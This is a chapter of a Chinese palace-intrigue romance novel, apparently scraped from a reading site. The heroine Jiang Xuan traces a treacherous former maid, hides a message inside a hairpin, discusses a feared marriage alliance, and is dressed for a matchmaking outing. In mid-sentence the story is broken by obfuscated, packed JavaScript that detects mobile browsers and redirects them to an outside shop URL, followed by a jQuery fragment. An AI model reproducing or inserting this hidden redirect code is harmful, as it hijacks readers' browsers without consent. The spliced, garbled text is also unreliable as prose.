阿芷愣一愣，见江萱神色不好，转身倒了杯水递到她手中，低声问道：“阿姊，香云是谁？”
温热自掌心传递，江萱紧紧攥住杯盏，眼神闪烁不定：“从前阿娘身边的侍女。”
“夫人？”
“当年阿娘膝下久久无男，太夫人不止一次想抬阿爹身边的侍婢为妾室，阿爹阿娘俱不肯。后来爹爹病重，阿娘发现是她偷偷在爹爹每日所用汤药中掺入那些东西，才致使阿爹身体每况愈下。为什么，阿娘那么信任她，她为什么要这么做？”
江萱永远忘不掉当年江润发现那些东西时的表情，被身边最亲近的人背叛，那是江萱第一次见到江润在自己面前动怒。
“为什么，你为什么要这么做？”满目素缟的天，江润拎着香云的袖口，痛彻心扉地质问。
江萱蜷缩在江润的身后，害怕地攥住她的衣角，透过从衣袖的缝隙，香云眼里都是江萱看不懂的情绪。自那一天后，香云便不见了踪迹。
“阿娘本来想查香云去了哪里，只是后面的事你都知道的。”江萱平复着内心激荡情绪，绷紧的指尖却迟迟平复不了。
阿芷坐在床头侧头看她，眼里具是心疼：“当年要不是夫人，我怕是就要死在路边了。阿姊今日既然在京城见到了她，我明日就出门再去寻掌柜一趟，让他找找这个香云到底在何处。”
“不，你近日出门太频繁易惹人耳目。”
江萱眼睛在室内转过一圈，终于落在梳妆台的妆奁盒子上。她赤脚下地，翻动妆匣中首饰，从中取出一支金镶玉宝石簪子来。江萱只是在簪头轻轻一扭，那簪头便打开，露出里面的空心来。
江萱又快步到书桌前奋笔疾书，把纸条一卷塞到那空心处，又把宝石簪子上的一颗绿宝扣了下来。
“你明日让小枣出门，把这支簪子送到城西的张记钗处，待过个五六日你再出门去取，便也不显得突兀了。”江萱把那残次的金簪递到阿芷手中，细细吩咐道。
阿芷郑重接下，点头道：“我知道了。”
“你今日出门也累了一天，早些回去休息吧。我想一个人静一会儿。”
风从窗格外吹进，屋内青纱缦帐轻轻飘荡，江萱瘫坐在圆椅上，眉间紧缩。
阿芷看着她郁郁的神色，想要上前一步安慰终于还是忍住，低低道了声“好”。
江萱偏头，隐隐可见庭院中的萱草花随风飘荡。还没到萱草花开放的季节，青葱的长叶肆意张扬。江萱闭眼长吐了一口气，再睁眼无比坚定。
====
匆忙出门的事江夫人虽有疑心，多次旁敲侧击地询问江萱，但江萱也只说些模棱两可的话，江夫人也无可奈何。
没过几日街上渐渐传出华阳长公主家的大姑娘忽然重病的消息，传到江府上江夫人不由唏嘘，却也不再问江萱什么，江萱不由松了一口气。
又过了两三日永嘉郡主要出家入道的事瞬间盖过李谧病重的消息，成了京城女眷茶余饭后议论的轶闻。
“阿姊，郡主当真要入道吗？”
江萱不喜屋内人多，大多数时候屋内只有她和阿芷两人。如今她正查看那宝石金簪中夹带的消息，有一句没一句地同阿芷搭话。
“嗯。”江萱的眼神飞速扫过纸上内容，眉头猝然一皱。
阿芷百无聊赖地在书桌前晃悠，说起外头流言纷纷：“外头都在议论，郡主姻缘坎坷需入道观修行两年方能躲过此劫，也不知道是不是真的。”
“你若是真想知道，不妨去问问浔阳王妃？”江萱懒得抬眼，伸手把纸条递到烛火之上，火焰瞬间吞没纸条的文字。
阿芷如何听不出江萱是在调侃，叉腰微微跺脚，脸却已涨红：“阿姊！”
看着那火焰把纸条最后一角吞没，江萱神色淡淡道：“听父亲说，议和一事除和亲外其他事项已然谈妥。此项未定，总有许多变数，王妃也是怕自己女儿步上昭君的后尘，索性先让宣容入道为妙。”
阿芷了然地点点头，仍心怀一丝侥幸：“宗室里的女儿那么多，也未必真会选郡主吧。”
“若真行和亲之举，陛下也有自己的亲身儿女。细算宗室当中适龄的女儿，也只有兴庆县主和宣容最合适，此举不过防患于未然罢了。”说着，江萱眼底冷了几分。
江萱未去过回鹘，却也听说那边民风尚未开化，父死子继兄终弟及的事也不再少数。中原女儿受礼教教化多年，或能接受夫死再嫁，但如同财产一般被人继承，始终难叫人接受。
无论是那位仅有一面之缘的兴庆郡主周舒宁，还是自己熟知的周宣容，江萱都不想让她们远离故国去那样茹毛饮血的地方。
“不过以浔阳王在军中的权势，想来陛下也不会让郡主去和亲的。”察觉江萱神态有异，阿芷上前安慰道。
江萱神情怏怏，笑得牵强：“此事尚未尘埃落定，只盼陛下万万不要答应才是。”
阿芷还想再宽慰两句，门外有人来报：“姑娘，豫王妃身边的采菱姑娘来了。”
阿芷闻言不由惊讶，转头见江萱脸上也是惊讶，便朝门外喊道：“有何事？”
“奴婢不清楚，只是夫人请姑娘去一趟。”
外头的人说话恭敬，江萱也无意与她为难，只说自己立即就去。
江萱对豫王妃差人上门一事正是烦恼，趁着梳妆的功夫好好理了一番思绪，想着自己近来也没与豫王妃有过交际，怎得突然差人上门呢？实在叫人百思不得其解。
待到了正院，江萱踏过门槛，见江夫人正和采菱笑着说话。
“江姑娘。”
“采菱姑娘。”
“近来春暖花开正是踏青的好时候，我家王妃因上回的事自觉有愧，便想借这三春盛景邀各家姑娘夫人到京郊扶荔苑一聚弥补过失，还请江夫人和江姑娘赏光。”
采菱说得恳切，然江萱还是从中嗅出一丝不妥，不敢接下采菱的帖子。采菱倒没什么反应，仍把邀贴递了过来。
江萱心里拿不定主意，转头见江夫人暗暗点了头，还是收下邀贴。
采菱面上笑容真切，屈膝告辞。见采菱离去，江萱仍摸不清她今日来的用意，打开邀贴细瞧也未见什么不妥，只得询问江夫人。
“母亲，这豫王妃好端端的怎么突然派人送帖子来？”
“适才采菱不是说了吗，为着上回的事要给咱们赔不是呢。”江夫人笑道。
“可我总觉得不仅是这样的原因。”江萱垂眸思考。
“你多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530426|203676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心。”江夫人把掌中茶盏搁置一边，把江萱拉到近前，抚平她衣袖上的皱纹，柔声道，
“你如今长高了不少，去岁的衣裳怕是不能穿了。母亲呀近来又得了两块好料子，正好给你裁两件鲜亮衣裳。听说珍宝斋又上了新的首饰，你上回不是叫小枣给你修首饰吗？依母亲看也别修了，再买几套时兴就是。”
看着江夫人喋喋不休地说起今岁最流行的首饰样式，江萱不忍打断，适才心里的那些疑虑也在江夫人絮叨的话语中渐渐消散而去。
====
江夫人对她上心，以江萱如今的体质倒也不必再日日吃药，面色也瞧着红润不少。家中的二位嫂嫂听说她应邀前往扶荔苑，又给她送了好些名贵脂粉。
江萱不解其意，隐隐觉得齐王妃的邀请透着古怪。只是她如今已然接下帖子，要想躲过去唯有装病一条，只是江夫人那边怕是不好过。
转眼间便到了应邀那天，江夫人一早便打发人盯着她梳妆换衣。江萱倒也不是没有经历过这些，只是天蒙蒙亮时便被人从温暖床铺上拉起梳妆，心情实在有些不妙。
坐在梳妆台前江萱百无聊赖，浅浅打了个哈气。
“姑娘且缓缓，待奴婢梳完了头，姑娘到车上也可浅眠片刻。”竹沁边为她梳头边柔声安抚道。
青蓠取了脂粉涂抹在江萱光滑的肌肤上，又不住赞道：“咱们姑娘长得这样好看，不得把那些王公子弟看呆了。”
“是啊是啊，以咱们姑娘的才学家世相貌，什么样的郎君找不到。”屋内人附和道。
江萱闭眼，任由沾了脂粉的布团在面上蹂躏，只是听着她们这样说话，疑惑之余心里有些不快活。
“你们在说什么呢？”江萱蹙眉发问。
“姑娘你不知道？”竹沁为江萱梳发的手不停，扯得江萱头皮疼。
江萱眉头更紧，睁眼问道：“什么？”
丫鬟们相视一眼，不知道如何解释。还是竹沁身份资历都比那些小丫鬟高一些，才敢站出来说话。
“这想法还是咱们当年那位江大姑娘提出来的，她见京中女子许婚大多盲婚哑嫁，婚后又不尽幸福，便与章武皇后提议于扶荔苑举办宴会，让京中尚未成婚的少男少女相见。若是谁家女儿看中了谁家儿郎便可向父母提议嫁娶，也省得出现婚后不合的场景。”
听闻是江润的提议，江萱眉头微微舒展旋即又合上，她可不想去这什么鹊桥相见，少男少女相许的地方。
“那为何去岁不曾有？”江萱问道。
这问题难答，竹沁得人也不好情谊回答，只得推测道：“这就得问夫人了，可能是夫人觉得姑娘去岁年纪尚小，不急于这一时。”
周遭都是江家婢女的身影，阿芷不会梳妆被她们排挤在最外一层。看着她们一张张脸上遍布喜色，江萱却觉得自己笑不出来，像一个木偶般被她们摆弄。
“姑娘收拾的好看些，说不定还能当上个郡王妃呢！”丫鬟们调笑着，恭贺着，好似有什么天大的馅饼在等着江萱。
听着她们这样的言论，江萱只觉得自己要窒息过去，直到听到外头有人喊“夫人到了”，才觉得周围空气舒畅些许。
“收拾的怎么样了？”江夫人进门问道。